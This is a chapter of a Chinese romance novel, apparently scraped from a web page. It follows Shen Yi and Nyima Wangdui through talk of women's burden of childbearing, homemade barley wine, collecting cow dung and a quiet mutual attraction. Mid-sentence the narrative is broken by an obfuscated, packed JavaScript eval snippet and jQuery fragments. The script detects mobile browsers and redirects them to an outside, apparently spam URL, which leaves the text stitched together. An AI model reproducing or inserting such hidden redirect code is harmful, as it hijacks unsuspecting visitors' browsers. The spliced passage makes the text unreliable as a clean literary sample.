他讲起邻村一户人家。
长子意外身亡，留下妻子和三个年幼的孩子。“如果没有那个小儿子顶上，她就得走。孩子带不走，回娘家，娘家不一定能回，还是会被嫁到了新地方，还得再生……”
“生育，这本该是天地间最值得尊重、赞美的行为。可是在时间流逝朝代更替政权变替中，生育成为女性的枷锁，沦为了生育工具。
生育，怎么就成了捆住她们手脚的锁链？”他话语里没有愤怒，只有一种深切的、近乎疼痛的困惑。这困惑源自他目睹的真实生活，而非任何书本上的理论。
沈翊怔住了。
他望着尼玛旺堆灯光下微光的侧脸，这张总是带着腼腆或直率笑容的脸，此刻却笼罩着一种与他年龄不符的沉静与厚重。大学时那个在社会学课堂上为女性权益争得面红耳赤的女孩的身影，此刻竟奇异地与眼前这个青年重叠。
她最后那句“觉醒本身，对很多人来说就是‘不安分’”的叹息，仿佛穿过岁月，在此刻得到了回响。
“她们觉醒不该是罪过。”尼玛旺堆最后说，语气平静却坚定。他点燃藏香，青烟笔直上升，在灯光下氤氲出朦胧的光柱。他将香炉端到外面大厅，清冽的香气丝丝缕缕飘散回来。
沈翊坐在原地，看着那袅袅的烟迹出神。自己与江泽那点撕心裂肺的情爱纠葛，在这个关乎生存方式、群体命运的沉重话题面前，忽然显得无比渺小，甚至有些可笑。他正沉溺在这种自惭与恍然交织的情绪里，尼玛旺堆又回来了。
他手里捧着一个黄铜的酒器，造型古朴，顶部敞开，里面浅碧色的酒液随着他的步伐轻轻晃动。器口和配套的木碗边沿，都用糌粑精巧地捏了一个小小的三角。他眉眼舒展，带着一种分享秘密的愉快：“妈妈酿的酒，这是第一批，甜得很。跟强巴爷爷那个可不一样。”
他将酒器放在小桌上，先给沈翊倒满一碗，动作小心，仿佛那酒液是某种易碎的珍宝。然后才给自己满上。他端起碗，用无名指蘸酒，向着虚空郑重地弹洒三次，这才就着碗沿喝了一口，眼睛满足地弯起来。
沈翊学着他的样子，完成那简单却充满敬意的仪式，然后喝了一口。清甜温润的液体滑入喉中，带着青稞特有的香气，瞬间驱散了先前那苦涩记忆和沉重思绪带来的滞闷
“很甜。”沈翊抬眼看他，诚心赞道。
“嗯。”尼玛旺堆笑得更开，竖起食指在唇边，压低声音，“偷拿的，别让我阿妈知道。”那神情像个恶作剧得逞的大男孩，瞬间将方才谈论沉重话题时的阴霾扫去大半。
一碗甜酒下肚，身体暖了起来，心也仿佛被熨帖平整。两人各自躺进被窝，黑暗笼罩下来，只剩下窗外高原清澈的星光，和彼此清浅的呼吸。
“明天做什么？”沈翊望着星空，随口问，心里竟真生出几分期待。
“捡牛粪。”尼玛旺堆的回答干脆利落，不带丝毫铺垫。
沈翊在黑暗中眨眨眼，怀疑自己听错了：“捡……什么？”
“捡、牛、粪。”尼玛旺堆一字一顿，语气里甚至带着点恶作剧般的肯定。
沈翊沉默了几秒，试图消化这个极具冲击力的答案，最终还是没忍住：“……臭吗？”
旁边传来一声极低的轻笑，像羽毛扫过耳廓。“不知道你会不会觉得臭。我习惯了，”尼玛旺堆的声音在黑暗里显得格外清晰，甚至有点温柔，“只觉得它晒干了，烧起来很暖和。”
很奇怪，这句朴实到极点的话，竟让沈翊想象出牛粪火炉散发出的那种干燥温暖的热度，以及尼玛旺堆蹲在火边添柴的专注身影。他翻了个身，面朝尼玛旺堆床铺的方向，尽管什么也看不清，却还是对着那片黑暗低声说：“忽然有点期待明天了。”
对面静了片刻。然后，沈翊听到尼玛旺堆用比平时更轻、更缓的语调说：
“真好。”
“晚安。”
“晚安。”
夜更深了，香炉里逸出最后一缕宁神的香气。
沈翊在黑暗中睁着眼，听到对面床上传来尼玛旺堆逐渐均匀绵长的呼吸声。
腿侧似乎还残留着摩托车颠簸时无意轻触的温度，指尖仿佛还能感受到接过酒碗时，对方指尖短暂擦过的微糙
触感。
一种陌生的、细密的渴望，混杂着对明日不知还能分享何种光景的期待，悄悄漫过心堤。他不敢深想，只是将脸埋进充斥着阳光与皂角气息的被褥里，闭上了眼睛。
强迫自己不要去想。
后半夜，沈翊醒了一次。并非因为寒冷或不适，而是一种奇异的清醒。白日的画面一一从眼前闪过。尼玛旺堆谈论女性命运时紧抿的唇、递来甜酒时亮晶晶的眼、说到“暖和”时平和的语气，走马灯似的在脑中旋转。心绪被一种陌生的充盈感涨满，微微发胀，带着酥麻的痒。他意识到，自己想起江泽的次数，真的越来越少了。而占据他思绪的，是另一种更为扎实、也更为忐忑的期待。这期待无关风月，却又仿佛浸透了此刻窗外的月光，清冽而分明。
再次被叫醒时，天光已大亮。阿妈米玛啦早已备好酥油茶，正用藏语细细叮嘱着儿子。沈翊捧着温热的茶碗，看着尼玛旺堆一边应声一边利落地收拾东西，晨光勾勒着他忙碌的身影。沈翊忽然很想知道他们在说什么，这种被排除在语言之外的微妙距离感，第一次让他产生了想要主动跨越的冲动。
出发时，尼玛旺堆没骑摩托，而是开出了一辆半旧的三轮车。驾驶室狭窄，两个成年男人挤在里面，肩膀大腿不可避免地挨碰着。沈翊尽量靠边，尼玛旺堆却似乎浑然不觉，熟练地发动车子。车身颠簸时，两人的胳膊肘轻轻撞在一起，又迅速分开，那触感却留在了皮肤上，久久不散。
捡牛粪的地方在一片休耕的田野里。出乎沈翊意料，这里颇为“热闹”。几个孩子一手提着麻袋，一手还攥着藏文课本，有的坐在袋子上念念有词，有的已经手脚麻利地开始干活。远处，他们的母亲或祖母也在弯腰忙碌。
尼玛旺堆跟一位面熟的妇人打过招呼，转手递给沈翊一副粗布手套：“戴上。不想捡就去跟孩子们说说话，我帮那边把袋子运过去就来。”
沈翊看着脚边那坨风干成饼状的牛粪，深吸一口气，其实没什么异味，只需要闭上眼睛，下手快狠准，跨过心理上的难受就可以了。冰凉的、带着草梗粗糙触感的物体落入掌心，竟没有想象中难以接受。
“喂！”一个声音在旁边响起。沈翊抬头，是个七八岁岁的小男孩，脸蛋红扑扑的，用藏语冲他说了一串话，眼神亮亮地看着他。
沈翊摇头，用汉语说：“听不懂。”
男孩抓抓头，换成了生硬的汉语：“你，要帮忙？”
沈翊还没完全明白他的意思，男孩已经哗啦一下，把自己麻袋里捡好的牛粪全倒进了沈翊的袋子里，然后转身就跑，像只敏捷的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182987|196977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
羚羊，在凹凸不平的田垄上几个起落就远了。
“哎，谢谢！”沈翊提着忽然沉甸甸的袋子，只能冲着那小小的背影喊道。男孩回过头，用力挥了挥手，笑容在阳光下灿烂无比。
尼玛旺堆回来时，看到沈翊那半满的袋子，挑了挑眉：“可以啊。感觉像是在用劳动换住宿费？”
“那我得多干点。”沈翊拍拍手套上的灰，笑了。
尼玛旺堆很自然地接过他手中的袋子，掂量了一下，轻松甩上肩头：“歇会儿吧。”他扛着袋子走向三轮车的背影稳当而有力。
沈翊跟在后面，看着他肩背肌肉因用力而微微绷紧的轮廓，还有那被阳光晒得发亮的后颈，心跳莫名漏了一拍。他移开视线，看向空旷的田野和远山，一种极为纯粹的、近乎傻气的快乐，毫无征兆地涌了上来。
装满车斗已近中午。尼玛旺堆递来一个保温杯，里面是泡了茶叶的开水：“阿妈让带的。”
沈翊接过来，指尖碰到对方温热的手背。他低头喝水，水温正好，带着茶叶淡淡的苦涩回甘。两人靠在车边，望着寂静无人的原野，只有风吹过枯草的沙沙声，和偶尔掠过头顶的鸟群。
回去的路上，尼玛旺堆放了音乐，是节奏轻快的藏语歌。他跟着旋律轻轻哼着，手指在方向盘上敲打节拍。沈翊坐在旁边，看着窗外飞速后退的荒凉景色，第一次觉得，这样简单重复的劳作，这样一眼能看到头的平凡日常，竟蕴含着如此踏实饱满的愉悦。当然，他知道这快乐如同此刻车窗外的阳光，明亮却终会偏移。他不可能永远停留在这辆颠簸的三轮车里，留在这个弥漫着牛粪和酥油茶香气的院落。但这“暂时”的每一刻，都像尼玛旺堆酿的首次酿的酒，清甜醉人，让他甘之如饴。
到家时，他们两个上去喝茶休息一下，阿妈米玛啦正一边诵经，一边转动着巨大的转经筒，佛珠在她指间规律滑动。这一幕沈翊已渐渐熟悉，但每次看见，仍会为那份沉浸与宁静感到触动。她早已将生活与信仰拧成一股从容不迫的节奏。
休息一会儿后两人下去感活。卸车、传递、晾晒……两人配合默契。尼玛旺堆在屋顶上铺开牛粪，沈翊在下面将牛粪块装进竹筐递上去。阳光晒得人后背发烫，劳作让身体微微出汗，却奇异地不觉得累。
“吃饭了——”阿妈米玛啦从窗户探出头，用生涩却清晰的汉语喊道。她一直暗暗在学汉语。
“马上！”尼玛旺堆在屋顶应道，声音清亮。
“好！”沈翊也仰头应了一声，抬手擦去额角的汗，恰好看见尼玛旺堆低头看他。两人隔着一段距离，在明亮的阳光下相视一笑。
午饭是简单却实在的米饭、土豆烧牛肉和风干肉。饭后，尼玛旺堆很自然地收走了沈翊的碗筷去洗，而阿妈米玛啦则用剩余的菜汤涮了涮自己的木碗，将混合的汤水倒入门外狗食盆里。一切都有条不紊，充满生活的智慧。
下午没有别的安排。尼玛旺堆拿起扫帚，开始打扫房间，从这间到那间，细致又耐心。沈翊想帮忙，却发现自己不知该从何插手，只能坐在火炉边，看着这个青年沉默而专注地维持着这个家的洁净与秩序。
喂牛、添水、归置物品……他的身影穿梭在院落与楼上、楼下的房间之间，仿佛不知疲倦。
夜幕再次降临。火炉边的晚餐，阿妈米玛啦的诵经声，空气里熟悉的藏香气味。尼玛旺堆将暖好的香炉放进被褥，很快传来均匀的呼吸声。